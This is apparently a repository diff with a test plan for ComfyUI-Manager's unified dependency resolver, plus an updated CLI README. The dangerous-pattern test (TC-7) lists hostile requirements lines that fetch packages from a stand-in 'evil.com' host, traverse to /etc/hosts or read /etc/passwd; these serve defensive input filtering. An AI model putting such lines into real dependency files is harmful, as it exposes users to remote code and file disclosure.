||||
|
||||
**Precondition**: `use_unified_resolver = true`, uv installed, at least one node pack with `requirements.txt`
|
||||
|
||||
**Steps**:
|
||||
1. Create `$COMFY_ROOT/custom_nodes/test_pack_a/requirements.txt` with content: `chardet>=5.0`
|
||||
2. Start ComfyUI
|
||||
|
||||
**Expected log**:
|
||||
```
|
||||
[UnifiedDepResolver] Collected N deps from M sources (skipped 0)
|
||||
[UnifiedDepResolver] running: ... uv pip compile ...
|
||||
[UnifiedDepResolver] running: ... uv pip install ...
|
||||
[UnifiedDepResolver] startup batch resolution succeeded
|
||||
```
|
||||
|
||||
**Verify**: Neither `Install: pip packages for` nor `Install: pip packages` appears in output (both per-node pip variants must be absent)
|
||||
|
||||
---
|
||||
|
||||
## TC-2: Disabled State (Default) [P1]
|
||||
|
||||
**Precondition**: `use_unified_resolver = false` or key absent from config.ini
|
||||
|
||||
**Steps**: Start ComfyUI
|
||||
|
||||
**Verify**: No `[UnifiedDepResolver]` log output at all
|
||||
|
||||
---
|
||||
|
||||
## TC-3: Fallback When uv Unavailable [P0]
|
||||
|
||||
**Precondition**: `use_unified_resolver = true`, uv completely unavailable
|
||||
|
||||
**Steps**:
|
||||
1. Create a venv **without** uv installed (`uv` package not in venv)
|
||||
2. Ensure no standalone `uv` binary exists in `$PATH` (rename or use isolated `$PATH`)
|
||||
3. Start ComfyUI
|
||||
|
||||
```bash
|
||||
# Reliable uv removal: both module and binary must be absent
|
||||
uv pip uninstall uv
|
||||
# Verify neither path works
|
||||
python -m uv --version 2>&1 | grep -q "No module" && echo "module uv: absent"
|
||||
which uv 2>&1 | grep -q "not found" && echo "binary uv: absent"
|
||||
```
|
||||
|
||||
**Expected log**:
|
||||
```
|
||||
[UnifiedDepResolver] uv not available at startup, falling back to per-node pip
|
||||
```
|
||||
|
||||
**Verify**:
|
||||
- `manager_util.use_unified_resolver` is reset to `False`
|
||||
- Subsequent node pack installations use per-node pip install normally
|
||||
|
||||
---
|
||||
|
||||
## TC-4: Fallback on Compile Failure [P0]
|
||||
|
||||
**Precondition**: `use_unified_resolver = true`, conflicting dependencies
|
||||
|
||||
**Steps**:
|
||||
1. Node pack A `requirements.txt`: `numpy==1.24.0`
|
||||
2. Node pack B `requirements.txt`: `numpy==1.26.0`
|
||||
3. Start ComfyUI
|
||||
|
||||
**Expected log**:
|
||||
```
|
||||
[UnifiedDepResolver] startup batch failed: compile failed: ..., falling back to per-node pip
|
||||
```
|
||||
|
||||
**Verify**:
|
||||
- `manager_util.use_unified_resolver` is reset to `False`
|
||||
- Falls back to per-node pip install normally
|
||||
|
||||
---
|
||||
|
||||
## TC-5: Fallback on Install Failure [P0]
|
||||
|
||||
**Precondition**: `use_unified_resolver = true`, compile succeeds but install fails
|
||||
|
||||
**Steps**:
|
||||
1. Create node pack with `requirements.txt`: `numpy<2`
|
||||
2. Force install failure by making the venv's `site-packages` read-only:
|
||||
```bash
|
||||
chmod -R a-w "$(python -c 'import site; print(site.getsitepackages()[0])')"
|
||||
```
|
||||
3. Start ComfyUI
|
||||
4. After test, restore permissions:
|
||||
```bash
|
||||
chmod -R u+w "$(python -c 'import site; print(site.getsitepackages()[0])')"
|
||||
```
|
||||
|
||||
**Expected log**:
|
||||
```
|
||||
[UnifiedDepResolver] startup batch failed: ..., falling back to per-node pip
|
||||
```
|
||||
> The `...` contains raw stderr from `uv pip install` (e.g., permission denied errors).
|
||||
|
||||
**Verify**:
|
||||
- `manager_util.use_unified_resolver` is reset to `False`
|
||||
- Falls back to per-node pip install
|
||||
|
||||
---
|
||||
|
||||
## TC-6: install.py Execution Preserved [P0]
|
||||
|
||||
**Precondition**: `use_unified_resolver = true`, ComfyUI running with batch resolution succeeded
|
||||
|
||||
**Steps**:
|
||||
1. While ComfyUI is running, install a node pack that has both `install.py` and `requirements.txt` via API:
|
||||
```bash
|
||||
curl -X POST http://localhost:8199/v2/manager/queue/task \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{
|
||||
"ui_id": "test-installpy",
|
||||
"client_id": "test-client",
|
||||
"kind": "install",
|
||||
"params": {
|
||||
"id": "<node-pack-id-with-install-py>",
|
||||
"version": "latest",
|
||||
"selected_version": "latest",
|
||||
"mode": "remote",
|
||||
"channel": "default"
|
||||
}
|
||||
}'
|
||||
```
|
||||
> Choose a CNR node pack known to have both `install.py` and `requirements.txt`.
|
||||
> Alternatively, use the Manager UI to install the same pack.
|
||||
|
||||
2. Check logs after installation
|
||||
|
||||
**Verify**:
|
||||
- `Install: install script` is printed (install.py runs immediately during install)
|
||||
- `Install: pip packages` does NOT appear (deps deferred, not installed per-node)
|
||||
- Log: `[UnifiedDepResolver] deps deferred to startup batch resolution for <path>`
|
||||
- After **restart**, the new pack's deps are included in batch resolution (`Collected N deps from M sources`)
|
||||
|
||||
---
|
||||
|
||||
## TC-7: Dangerous Pattern Rejection [P0]
|
||||
|
||||
**Precondition**: `use_unified_resolver = true`
|
||||
|
||||
**Steps**: Include any of the following in a node pack's `requirements.txt`:
|
||||
```
|
||||
-r ../../../etc/hosts
|
||||
--requirement secret.txt
|
||||
-e git+https://evil.com/repo
|
||||
--editable ./local
|
||||
-c constraint.txt
|
||||
--constraint external.txt
|
||||
--find-links http://evil.com/pkgs
|
||||
-f http://evil.com/pkgs
|
||||
evil_pkg @ file:///etc/passwd
|
||||
```
|
||||
|
||||
**Expected log**:
|
||||
```
|
||||
[UnifiedDepResolver] rejected dangerous line: '...' from <path>
|
||||
```
|
||||
|
||||
**Verify**: Dangerous lines are skipped; remaining valid deps are installed normally
|
||||
|
||||
---
|
||||
|
||||
## TC-8: Path Separator Rejection [P0]
|
||||
|
||||
**Precondition**: `use_unified_resolver = true`
|
||||
|
||||
**Steps**: Node pack `requirements.txt`:
|
||||
```
|
||||
../evil/pkg
|
||||
bad\pkg
|
||||
./local_package
|
||||
```
|
||||
|
||||
**Expected log**:
|
||||
```
|
||||
[UnifiedDepResolver] rejected path separator: '...' from <path>
|
||||
```
|
||||
|
||||
**Verify**: Lines with `/` or `\` in the package name portion are rejected; valid deps on other lines are processed normally
|
||||
|
||||
---
|
||||
|
||||
## TC-9: --index-url / --extra-index-url Separation [P0]
|
||||
|
||||
**Precondition**: `use_unified_resolver = true`
|
||||
|
||||
Test all four inline forms:
|
||||
|
||||
| # | `requirements.txt` content | Expected package | Expected URL |
|
||||
|---|---------------------------|-----------------|--------------|
|
||||
| a | `torch --index-url https://example.com/whl` | `torch` | `https://example.com/whl` |
|
||||
| b | `torch --extra-index-url https://example.com/whl` | `torch` | `https://example.com/whl` |
|
||||
| c | `--index-url https://example.com/whl` (standalone) | *(none)* | `https://example.com/whl` |
|
||||
| d | `--extra-index-url https://example.com/whl` (standalone) | *(none)* | `https://example.com/whl` |
|
||||
|
||||
**Steps**: Create a node pack with each variant (one at a time or combined with a valid package on a separate line)
|
||||
|
||||
**Verify**:
|
||||
- Package spec is correctly extracted (or empty for standalone lines)
|
||||
- URL is passed as `--extra-index-url` to `uv pip compile`
|
||||
- Duplicate URLs across multiple node packs are deduplicated
|
||||
- Log: `[UnifiedDepResolver] extra-index-url: <url>`
|
||||
|
||||
---
|
||||
|
||||
## TC-10: Credential Redaction [P0]
|
||||
|
||||
**Precondition**: `use_unified_resolver = true`
|
||||
|
||||
**Steps**: Node pack `requirements.txt`:
|
||||
```
|
||||
private-pkg --index-url https://user:token123@pypi.private.com/simple
|
||||
```
|
||||
|
||||
**Verify**:
|
||||
- `user:token123` does NOT appear in logs
|
||||
- Masked as `****@` in log output
|
||||
|
||||
---
|
||||
|
||||
## TC-11: Disabled Node Packs Excluded [P1]
|
||||
|
||||
**Precondition**: `use_unified_resolver = true`
|
||||
|
||||
**Steps**: Test both disabled styles:
|
||||
1. New style: `custom_nodes/.disabled/test_pack/requirements.txt` with content: `numpy`
|
||||
2. Old style: `custom_nodes/test_pack.disabled/requirements.txt` with content: `requests`
|
||||
3. Start ComfyUI
|
||||
|
||||
**Verify**: Neither disabled node pack's deps are collected (not included in `Collected N`)
|
||||
|
||||
---
|
||||
|
||||
## TC-12: No Dependencies [P2]
|
||||
|
||||
**Precondition**: `use_unified_resolver = true`, only node packs without `requirements.txt`
|
||||
|
||||
**Steps**: Start ComfyUI
|
||||
|
||||
**Expected log**:
|
||||
```
|
||||
[UnifiedDepResolver] No dependencies to resolve
|
||||
```
|
||||
|
||||
**Verify**: Compile/install steps are skipped; startup completes normally
|
||||
|
||||
---
|
||||
|
||||
## TC-13: Runtime Node Pack Install (Defer Behavior) [P1]
|
||||
|
||||
**Precondition**: `use_unified_resolver = true`, batch resolution succeeded at startup
|
||||
|
||||
**Steps**:
|
||||
1. Start ComfyUI and confirm batch resolution succeeds
|
||||
2. While ComfyUI is running, install a new node pack via API:
|
||||
```bash
|
||||
curl -X POST http://localhost:8199/v2/manager/queue/task \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{
|
||||
"ui_id": "test-defer-1",
|
||||
"client_id": "test-client",
|
||||
"kind": "install",
|
||||
"params": {
|
||||
"id": "<node-pack-id>",
|
||||
"version": "latest",
|
||||
"selected_version": "latest",
|
||||
"mode": "remote",
|
||||
"channel": "default"
|
||||
}
|
||||
}'
|
||||
```
|
||||
> Replace `<node-pack-id>` with a real CNR node pack ID (e.g., from the Manager UI).
|
||||
> Alternatively, use the Manager UI to install a node pack.
|
||||
|
||||
3. Check logs after installation
|
||||
|
||||
**Verify**:
|
||||
- Log: `[UnifiedDepResolver] deps deferred to startup batch resolution for <path>`
|
||||
- `Install: pip packages` does NOT appear
|
||||
- After ComfyUI **restart**, the new node pack's deps are included in batch resolution
|
||||
|
||||
---
|
||||
|
||||
## TC-14: Both Unified Resolver Code Paths [P0]
|
||||
|
||||
Verify both code locations that guard per-node pip install behave correctly in unified mode:
|
||||
|
||||
| Path | Guard Variable | Trigger | Location |
|
||||
|------|---------------|---------|----------|
|
||||
| Runtime install | `manager_util.use_unified_resolver` | API install while ComfyUI is running | `glob/manager_core.py` class method (~line 846) |
|
||||
| Startup lazy install | `_unified_resolver_succeeded` | Queued install processed at restart | `prestartup_script.py` `execute_lazy_install_script()` (~line 594) |
|
||||
|
||||
> **Note**: The standalone `execute_install_script()` in `glob/manager_core.py` (~line 1881) also has a unified resolver guard but is reachable via `update-comfyui`, git-based node pack updates, gitclone operations, CLI, and legacy server paths. The guard is identical to the class method; see [Out of Scope](#out-of-scope-deferred).
|
||||
|
||||
**Steps**:
|
||||
|
||||
**Path 1 — Runtime API install (class method)**:
|
||||
```bash
|
||||
# While ComfyUI is running:
|
||||
curl -X POST http://localhost:8199/v2/manager/queue/task \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{
|
||||
"ui_id": "test-path1",
|
||||
"client_id": "test-client",
|
||||
"kind": "install",
|
||||
"params": {
|
||||
"id": "<node-pack-id>",
|
||||
"version": "latest",
|
||||
"selected_version": "latest",
|
||||
"mode": "remote",
|
||||
"channel": "default"
|
||||
}
|
||||
}'
|
||||
```
|
||||
|
||||
> Choose a CNR node pack that has both `install.py` and `requirements.txt`.
|
||||
|
||||
**Path 2 — Startup lazy install (`execute_lazy_install_script`)**:
|
||||
1. Create a test node pack with both `install.py` and `requirements.txt`:
|
||||
```bash
|
||||
mkdir -p "$COMFY_ROOT/custom_nodes/test_pack_lazy"
|
||||
echo 'print("lazy install.py executed")' > "$COMFY_ROOT/custom_nodes/test_pack_lazy/install.py"
|
||||
echo "chardet" > "$COMFY_ROOT/custom_nodes/test_pack_lazy/requirements.txt"
|
||||
```
|
||||
2. Manually inject a `#LAZY-INSTALL-SCRIPT` entry into `install-scripts.txt`:
|
||||
```bash
|
||||
SCRIPTS_DIR="$COMFY_ROOT/user/__manager/startup-scripts"
|
||||
mkdir -p "$SCRIPTS_DIR"
|
||||
PYTHON_PATH=$(which python)
|
||||
echo "['$COMFY_ROOT/custom_nodes/test_pack_lazy', '#LAZY-INSTALL-SCRIPT', '$PYTHON_PATH']" \
|
||||
>> "$SCRIPTS_DIR/install-scripts.txt"
|
||||
```
|
||||
3. Start ComfyUI (with `use_unified_resolver = true`)
|
||||
|
||||
**Verify**:
|
||||
- Path 1: `[UnifiedDepResolver] deps deferred to startup batch resolution for <path>` appears, `install.py` runs immediately, `Install: pip packages` does NOT appear
|
||||
- Path 2: `lazy install.py executed` is printed (install.py runs at startup), `Install: pip packages for` does NOT appear for the pack (skipped because `_unified_resolver_succeeded` is True after batch resolution)
|
||||
|
||||
---
|
||||
|
||||
## TC-15: Behavior After Fallback in Same Process [P1]
|
||||
|
||||
**Precondition**: Resolver failed at startup (TC-4 or TC-5 scenario)
|
||||
|
||||
**Steps**:
|
||||
1. Set up conflicting deps (as in TC-4) and start ComfyUI (resolver fails, flag reset to `False`)
|
||||
2. While still running, install a new node pack via API:
|
||||
```bash
|
||||
curl -X POST http://localhost:8199/v2/manager/queue/task \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{
|
||||
"ui_id": "test-postfallback",
|
||||
"client_id": "test-client",
|
||||
"kind": "install",
|
||||
"params": {
|
||||
"id": "<node-pack-id>",
|
||||
"version": "latest",
|
||||
"selected_version": "latest",
|
||||
"mode": "remote",
|
||||
"channel": "default"
|
||||
}
|
||||
}'
|
||||
```
|
||||
|
||||
**Verify**:
|
||||
- New node pack uses per-node pip install (not deferred)
|
||||
- `Install: pip packages` appears normally
|
||||
- On next restart with conflicts resolved, unified resolver retries if config still `true`
|
||||
|
||||
---
|
||||
|
||||
## TC-16: Generic Exception Fallback [P1]
|
||||
|
||||
**Precondition**: `use_unified_resolver = true`, an exception escapes before `resolve_and_install()`
|
||||
|
||||
This covers the `except Exception` handler at `prestartup_script.py` (~line 793), distinct from `UvNotAvailableError` (TC-3) and `ResolveResult` failure (TC-4/TC-5). The generic handler catches errors in the import, `collect_node_pack_paths()`, `collect_base_requirements()`, or `UnifiedDepResolver.__init__()` — all of which run before the resolver's own internal error handling.
|
||||
|
||||
**Steps**:
|
||||
1. Make the `custom_nodes` directory unreadable so `collect_node_pack_paths()` raises a `PermissionError`:
|
||||
```bash
|
||||
chmod a-r "$COMFY_ROOT/custom_nodes"
|
||||
```
|
||||
2. Start ComfyUI
|
||||
3. After test, restore permissions:
|
||||
```bash
|
||||
chmod u+r "$COMFY_ROOT/custom_nodes"
|
||||
```
|
||||
|
||||
**Expected log**:
|
||||
```
|
||||
[UnifiedDepResolver] startup error: ..., falling back to per-node pip
|
||||
```
|
||||
|
||||
**Verify**:
|
||||
- `manager_util.use_unified_resolver` is reset to `False`
|
||||
- Falls back to per-node pip install normally
|
||||
- Log pattern is `startup error:` (NOT `startup batch failed:` nor `uv not available`)
|
||||
|
||||
---
|
||||
|
||||
## TC-17: Restart Dependency Detection [P0]
|
||||
|
||||
**Precondition**: `use_unified_resolver = true`, automated E2E scripts available
|
||||
|
||||
This test verifies that the resolver correctly detects and installs dependencies for node packs added between restarts, incrementally building the dependency set.
|
||||
|
||||
**Steps**:
|
||||
1. Boot ComfyUI with no custom node packs (Boot 1 — baseline)
|
||||
2. Verify baseline deps only (Manager's own deps)
|
||||
3. Stop ComfyUI
|
||||
4. Clone `ComfyUI-Impact-Pack` into `custom_nodes/`
|
||||
5. Restart ComfyUI (Boot 2)
|
||||
6. Verify Impact Pack deps are installed (`cv2`, `skimage`, `dill`, `scipy`, `matplotlib`)
|
||||
7. Stop ComfyUI
|
||||
8. Clone `ComfyUI-Inspire-Pack` into `custom_nodes/`
|
||||
9. Restart ComfyUI (Boot 3)
|
||||
10. Verify Inspire Pack deps are installed (`cachetools`, `webcolors`)
|
||||
|
||||
**Expected log (each boot)**:
|
||||
```
|
||||
[UnifiedDepResolver] Collected N deps from M sources (skipped S)
|
||||
[UnifiedDepResolver] running: ... uv pip compile ...
|
||||
[UnifiedDepResolver] running: ... uv pip install ...
|
||||
[UnifiedDepResolver] startup batch resolution succeeded
|
||||
```
|
||||
|
||||
**Verify**:
|
||||
- Boot 1: ~10 deps from ~10 sources; `cv2`, `dill`, `cachetools` are NOT installed
|
||||
- Boot 2: ~19 deps from ~18 sources; `cv2`, `skimage`, `dill`, `scipy`, `matplotlib` all importable
|
||||
- Boot 3: ~24 deps from ~21 sources; `cachetools`, `webcolors` also importable
|
||||
- Both packs show as loaded in logs
|
||||
|
||||
**Automation**: Use `tests/e2e/scripts/` (setup → start → stop) with node pack cloning between boots.
|
||||
|
||||
---
|
||||
|
||||
## TC-18: Real Node Pack Integration [P0]
|
||||
|
||||
**Precondition**: `use_unified_resolver = true`, network access to GitHub + PyPI
|
||||
|
||||
Full pipeline test with real-world node packs (`ComfyUI-Impact-Pack` + `ComfyUI-Inspire-Pack`) to verify the resolver handles production requirements.txt files correctly.
|
||||
|
||||
**Steps**:
|
||||
1. Set up E2E environment
|
||||
2. Clone both Impact Pack and Inspire Pack into `custom_nodes/`
|
||||
3. Direct-mode: instantiate `UnifiedDepResolver`, call `collect_requirements()` and `resolve_and_install()`
|
||||
4. Boot-mode: start ComfyUI and verify via logs
|
||||
|
||||
**Expected behavior (direct mode)**:
|
||||
```
|
||||
--- Discovered node packs (3) --- # Manager, Impact, Inspire
|
||||
ComfyUI-Impact-Pack
|
||||
ComfyUI-Inspire-Pack
|
||||
ComfyUI-Manager
|
||||
|
||||
--- Phase 1: Collect Requirements ---
|
||||
Total requirements: ~24
|
||||
Skipped: 1 # SAM2 git+https:// URL
|
||||
Extra index URLs: set()
|
||||
```
|
||||
|
||||
**Verify**:
|
||||
- `git+https://github.com/facebookresearch/sam2.git` is correctly rejected with "rejected path separator"
|
||||
- All other dependencies are collected and resolved
|
||||
- After install, `cv2`, `PIL`, `scipy`, `skimage`, `matplotlib` are all importable
|
||||
- No conflicting version errors during compile
|
||||
|
||||
**Automation**: Use `tests/e2e/scripts/` (setup → clone packs → start) with direct-mode resolver invocation.
|
||||
|
||||
---
|
||||
|
||||
## Validated Behaviors (from E2E Testing)
|
||||
|
||||
The following behaviors were confirmed during manual E2E testing:
|
||||
|
||||
### Resolver Pipeline
|
||||
- **3-phase pipeline**: Collect → `uv pip compile` → `uv pip install` works end-to-end
|
||||
- **Incremental detection**: Resolver discovers new node packs on each restart without reinstalling existing deps
|
||||
- **Dependency deduplication**: Overlapping deps from multiple packs are resolved to compatible versions
|
||||
|
||||
### Security & Filtering
|
||||
- **`git+https://` rejection**: URLs like `git+https://github.com/facebookresearch/sam2.git` are rejected with "rejected path separator" — SAM2 is the only dependency skipped from Impact Pack
|
||||
- **Blacklist filtering**: `PackageRequirement` objects have `.name`, `.spec`, `.source` attributes; `collected.skipped` returns `[(spec_string, reason_string)]` tuples
|
||||
|
||||
### Manager Integration
|
||||
- **Manager v4 endpoints**: All endpoints use `/v2/` prefix (e.g., `/v2/manager/queue/status`)
|
||||
- **`Blocked by policy`**: Expected when Manager is pip-installed and also symlinked in `custom_nodes/`; prevents legacy double-loading
|
||||
- **config.ini path**: Must be at `$COMFY_ROOT/user/__manager/config.ini`, not in the symlinked Manager dir
|
||||
|
||||
### Environment
|
||||
- **PYTHONPATH requirement**: `comfy` is a local package (not pip-installed); `comfyui_manager` imports from `comfy`, so both require `PYTHONPATH=$COMFY_ROOT`
|
||||
- **HOME isolation**: `HOME=$E2E_ROOT/home` prevents host config contamination during boot
|
||||
|
||||
---
|
||||
|
||||
## Summary
|
||||
|
||||
| TC | P | Scenario | Key Verification |
|
||||
|----|---|----------|------------------|
|
||||
| 1 | P0 | Normal batch resolution | compile → install pipeline |
|
||||
| 2 | P1 | Disabled state | No impact on existing behavior |
|
||||
| 3 | P0 | uv unavailable fallback | Flag reset + per-node resume |
|
||||
| 4 | P0 | Compile failure fallback | Flag reset + per-node resume |
|
||||
| 5 | P0 | Install failure fallback | Flag reset + per-node resume |
|
||||
| 6 | P0 | install.py preserved | deps defer, install.py immediate |
|
||||
| 7 | P0 | Dangerous pattern rejection | Security filtering |
|
||||
| 8 | P0 | Path separator rejection | `/` and `\` in package names |
|
||||
| 9 | P0 | index-url separation | All 4 variants + dedup |
|
||||
| 10 | P0 | Credential redaction | Log security |
|
||||
| 11 | P1 | Disabled packs excluded | Both `.disabled/` and `.disabled` suffix |
|
||||
| 12 | P2 | No dependencies | Empty pipeline |
|
||||
| 13 | P1 | Runtime install defer | Defer until restart |
|
||||
| 14 | P0 | Both unified resolver paths | runtime API (class method) + startup lazy install |
|
||||
| 15 | P1 | Post-fallback behavior | Per-node pip resumes in same process |
|
||||
| 16 | P1 | Generic exception fallback | Distinct from uv-absent and batch-failed |
|
||||
| 17 | P0 | Restart dependency detection | Incremental node pack discovery across restarts |
|
||||
| 18 | P0 | Real node pack integration | Impact + Inspire Pack full pipeline |
|
||||
| CLI-1 | P0 | CLI normal batch resolution | exit 0, deps installed |
|
||||
| CLI-2 | P1 | CLI no custom nodes | exit 0, graceful empty |
|
||||
| CLI-3 | P0 | CLI uv unavailable | exit 1, error message |
|
||||
| CLI-4 | P0 | CLI conflicting deps | exit 1, resolution failed |
|
||||
| CLI-5 | P0 | CLI dangerous pattern skip | exit 0, dangerous skipped |
|
||||
| CLI-6 | P0 | install --uv-compile single | per-node pip skipped, batch resolve |
|
||||
| CLI-7 | P0 | install --uv-compile multi | batch once after all installs |
|
||||
|
||||
### Traceability
|
||||
|
||||
| Feature Requirement | Test Cases |
|
||||
|---------------------|------------|
|
||||
| FR-1: Dependency collection | TC-1, TC-11, TC-12 |
|
||||
| FR-2: Input sanitization | TC-7, TC-8, TC-10 |
|
||||
| FR-3: Index URL handling | TC-9 |
|
||||
| FR-4: Batch resolution (compile) | TC-1, TC-4 |
|
||||
| FR-5: Batch install | TC-1, TC-5 |
|
||||
| FR-6: install.py preserved | TC-6, TC-14 |
|
||||
| FR-7: Startup batch integration | TC-1, TC-2, TC-3 |
|
||||
| Fallback behavior | TC-3, TC-4, TC-5, TC-15, TC-16 |
|
||||
| Disabled node pack exclusion | TC-11 |
|
||||
| Runtime defer behavior | TC-13, TC-14 |
|
||||
| FR-8: Restart discovery | TC-17 |
|
||||
| FR-9: Real-world compatibility | TC-17, TC-18 |
|
||||
| FR-2: Input sanitization (git URLs) | TC-8, TC-18 |
|
||||
| FR-10: CLI batch resolution | TC-CLI-1, TC-CLI-2, TC-CLI-3, TC-CLI-4, TC-CLI-5 |
|
||||
| FR-11: CLI install --uv-compile | TC-CLI-6, TC-CLI-7 |
|
||||
+59
-32
@@ -7,40 +7,39 @@
|
||||
-= ComfyUI-Manager CLI (V2.24) =-
|
||||
|
||||
|
||||
python cm-cli.py [OPTIONS]
|
||||
cm-cli [OPTIONS]
|
||||
|
||||
OPTIONS:
|
||||
[install|reinstall|uninstall|update|disable|enable|fix] node_name ... ?[--channel <channel name>] ?[--mode [remote|local|cache]]
|
||||
[install|reinstall|update|fix] node_name ... ?[--uv-compile]
|
||||
[update|disable|enable|fix] all ?[--channel <channel name>] ?[--mode [remote|local|cache]]
|
||||
[update|fix] all ?[--uv-compile]
|
||||
[simple-show|show] [installed|enabled|not-installed|disabled|all|snapshot|snapshot-list] ?[--channel <channel name>] ?[--mode [remote|local|cache]]
|
||||
save-snapshot ?[--output <snapshot .json/.yaml>]
|
||||
restore-snapshot <snapshot .json/.yaml> ?[--pip-non-url] ?[--pip-non-local-url] ?[--pip-local-url]
|
||||
cli-only-mode [enable|disable]
|
||||
restore-dependencies
|
||||
restore-snapshot <snapshot .json/.yaml> ?[--pip-non-url] ?[--pip-non-local-url] ?[--pip-local-url] ?[--uv-compile]
|
||||
restore-dependencies ?[--uv-compile]
|
||||
install-deps <deps.json> ?[--channel <channel name>] ?[--mode [remote|local|cache]] ?[--uv-compile]
|
||||
uv-compile
|
||||
clear
|
||||
```
|
||||
|
||||
## How To Use?
|
||||
* You can execute it via `python cm-cli.py`.
|
||||
* You can execute it via the `cm-cli` command.
|
||||
* For example, if you want to update all custom nodes:
|
||||
* In the ComfyUI-Manager directory, you can execute the command `python cm-cli.py update all`.
|
||||
* If running from the ComfyUI directory, you can specify the path to cm-cli.py like this: `python custom_nodes/ComfyUI-Manager/cm-cli.py update all`.
|
||||
* `cm-cli update all`
|
||||
|
||||
## Prerequisite
|
||||
* It must be run in the same Python environment as the one running ComfyUI.
|
||||
* If using a venv, you must run it with the venv activated.
|
||||
* If using a portable version, and you are in the directory with the run_nvidia_gpu.bat file, you should execute the command as follows:
|
||||
`.\python_embeded\python.exe ComfyUI\custom_nodes\ComfyUI-Manager\cm-cli.py update all`
|
||||
* The path for ComfyUI can be set with the COMFYUI_PATH environment variable. If omitted, a warning message will appear, and the path will be set relative to the installed location of ComfyUI-Manager:
|
||||
```
|
||||
WARN: The `COMFYUI_PATH` environment variable is not set. Assuming `custom_nodes/ComfyUI-Manager/../../` as the ComfyUI path.
|
||||
```
|
||||
`.\python_embeded\python.exe -m cm_cli update all`
|
||||
* The path for ComfyUI must be set with the `COMFYUI_PATH` environment variable.
|
||||
|
||||
## Features
|
||||
|
||||
### 1. --channel, --mode
|
||||
* For viewing information and managing custom nodes, you can set the information database through --channel and --mode.
|
||||
* For instance, executing the command `python cm-cli.py update all --channel recent --mode remote` will operate based on the latest information from remote rather than local data embedded in the current ComfyUI-Manager repo and will only target the list in the recent channel.
|
||||
* For instance, executing the command `cm-cli update all --channel recent --mode remote` will operate based on the latest information from remote rather than local data embedded in the current ComfyUI-Manager repo and will only target the list in the recent channel.
|
||||
* --channel, --mode are only available with the commands `simple-show, show, install, uninstall, update, disable, enable, fix`.
|
||||
|
||||
### 2. Viewing Management Information
|
||||
@@ -49,7 +48,7 @@ OPTIONS:
|
||||
|
||||
* `[show|simple-show]` - `show` provides detailed information, while `simple-show` displays information more simply.
|
||||
|
||||
Executing a command like `python cm-cli.py show installed` will display detailed information about the installed custom nodes.
|
||||
Executing a command like `cm-cli show installed` will display detailed information about the installed custom nodes.
|
||||
|
||||
```
|
||||
-= ComfyUI-Manager CLI (V2.24) =-
|
||||
@@ -66,7 +65,7 @@ FETCH DATA from: https://raw.githubusercontent.com/ltdrdata/ComfyUI-Manager/main
|
||||
[ DISABLED ] ComfyUI-Loopchain (author: Fannovel16)
|
||||
```
|
||||
|
||||
Using a command like `python cm-cli.py simple-show installed` will simply display information about the installed custom nodes.
|
||||
Using a command like `cm-cli simple-show installed` will simply display information about the installed custom nodes.
|
||||
|
||||
```
|
||||
-= ComfyUI-Manager CLI (V2.24) =-
|
||||
@@ -95,7 +94,7 @@ ComfyUI-Loopchain
|
||||
|
||||
`[install|reinstall|uninstall|update|disable|enable|fix] node_name ... ?[--channel <channel name>] ?[--mode [remote|local|cache]]`
|
||||
|
||||
* You can apply management functions by listing the names of custom nodes, such as `python cm-cli.py install ComfyUI-Impact-Pack ComfyUI-Inspire-Pack ComfyUI_experiments`.
|
||||
* You can apply management functions by listing the names of custom nodes, such as `cm-cli install ComfyUI-Impact-Pack ComfyUI-Inspire-Pack ComfyUI_experiments`.
|
||||
* The names of the custom nodes are as shown by `show` and are the names of the git repositories.
|
||||
(Plans are to update the use of nicknames in the future.)
|
||||
|
||||
@@ -112,11 +111,27 @@ ComfyUI-Loopchain
|
||||
* `enable`: Enables the specified custom nodes.
|
||||
* `fix`: Attempts to fix dependencies for the specified custom nodes.
|
||||
|
||||
#### `--uv-compile` flag (`install`, `reinstall`, `update`, `fix`)
|
||||
|
||||
When `--uv-compile` is specified, per-node pip installs are skipped during node operations.
|
||||
After all operations complete, `uv pip compile` resolves the full dependency graph in one batch.
|
||||
|
||||
* Requires `uv` to be installed.
|
||||
* Prevents dependency conflicts between multiple node packs.
|
||||
* On resolution failure, displays conflicting packages and which node packs requested them.
|
||||
* `reinstall --uv-compile` is mutually exclusive with `--no-deps`.
|
||||
|
||||
```bash
|
||||
cm-cli install ComfyUI-Impact-Pack ComfyUI-Inspire-Pack --uv-compile
|
||||
cm-cli update all --uv-compile
|
||||
cm-cli fix ComfyUI-Impact-Pack --uv-compile
|
||||
```
|
||||
|
||||
|
||||
### 4. Snapshot Management
|
||||
* `python cm-cli.py save-snapshot [--output <snapshot .json/.yaml>]`: Saves the current snapshot.
|
||||
* `cm-cli save-snapshot [--output <snapshot .json/.yaml>]`: Saves the current snapshot.
|
||||
* With `--output`, you can save a file in .yaml format to any specified path.
|
||||
* `python cm-cli.py restore-snapshot <snapshot .json/.yaml>`: Restores to the specified snapshot.
|
||||
* `cm-cli restore-snapshot <snapshot .json/.yaml>`: Restores to the specified snapshot.
|
||||
* If a file exists at the snapshot path, that snapshot is loaded.
|
||||
* If no file exists at the snapshot path, it is implicitly assumed to be in ComfyUI-Manager/snapshots.
|
||||
* `--pip-non-url`: Restore for pip packages registered on PyPI.
|
||||
@@ -125,23 +140,35 @@ ComfyUI-Loopchain
|
||||
* `--user-directory`: Set the user directory.
|
||||
* `--restore-to`: The path where the restored custom nodes will be installed. (When this option is applied, only the custom nodes installed in the target path are recognized as installed.)
|
||||
|
||||
### 5. CLI Only Mode
|
||||
### 5. Dependency Restoration
|
||||
|
||||
You can set whether to use ComfyUI-Manager solely via CLI.
|
||||
|
||||
`cli-only-mode [enable|disable]`
|
||||
|
||||
* This mode can be used if you want to restrict the use of ComfyUI-Manager through the GUI for security or policy reasons.
|
||||
* When CLI only mode is enabled, ComfyUI-Manager is loaded in a very restricted state, the internal web API is disabled, and the Manager button is not displayed in the main menu.
|
||||
|
||||
### 6. Dependency Restoration
|
||||
|
||||
`restore-dependencies`
|
||||
`restore-dependencies ?[--uv-compile]`
|
||||
|
||||
* This command can be used if custom nodes are installed under the `ComfyUI/custom_nodes` path but their dependencies are not installed.
|
||||
* It is useful when starting a new cloud instance, like colab, where dependencies need to be reinstalled and installation scripts re-executed.
|
||||
* It is useful when starting a new cloud instance, like Colab, where dependencies need to be reinstalled and installation scripts re-executed.
|
||||
